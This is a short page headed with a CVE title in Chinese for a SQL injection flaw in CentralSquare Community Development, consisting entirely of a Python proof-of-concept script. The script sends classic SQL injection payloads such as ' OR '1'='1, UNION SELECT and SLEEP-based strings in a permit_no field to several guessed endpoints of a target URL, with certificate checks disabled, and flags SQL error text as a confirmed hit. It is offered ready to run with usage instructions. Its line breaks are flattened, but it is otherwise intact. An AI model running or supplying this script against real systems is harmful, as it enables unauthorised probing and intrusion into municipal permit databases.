CVE-2025-64280 CentralSquare Community Development SQL注入漏洞

import requests import sys # CVE-2025-64280 SQL Injection PoC # Target: CentralSquare Community Development # Vulnerability: SQL Injection via permit_no field def test_sql_injection(url, payload): """Test SQL injection vulnerability""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } # Common vulnerable endpoint pattern endpoints = [ '/permit/search', '/search/permits', '/api/permits', '/permits', '/public/permit/search' ] for endpoint in endpoints: target_url = url.rstrip('/') + endpoint data = { 'permit_no': payload } try: response = requests.post(target_url, data=data, headers=headers, timeout=10, verify=False) # Check for SQL error indicators if any(err in response.text.lower() for err in ['sql', 'syntax', 'mysql', 'oracle', 'error', 'exception']): print(f'[+] Potential SQL Injection detected at {target_url}') print(f'[+] Payload: {payload}') print(f'[+] Response length: {len(response.text)}') return True except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False def main(): if len(sys.argv) < 2: print('Usage: python cve-2025-64280.py <target_url>') print('Example: python cve-2025-64280.py https://vulnerable-server.com') sys.exit(1) target = sys.argv[1] # SQL injection test payloads payloads = [ "'", "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "admin'--", "' OR 1=1--" ] print(f'[*] Scanning target: {target}') print(f'[*] Testing CVE-2025-64280 SQL Injection') for payload in payloads: if test_sql_injection(target, payload): print(f'[+] Vulnerability confirmed with payload: {payload}') break else: print('[-] No obvious SQL injection detected') if __name__ == '__main__': main()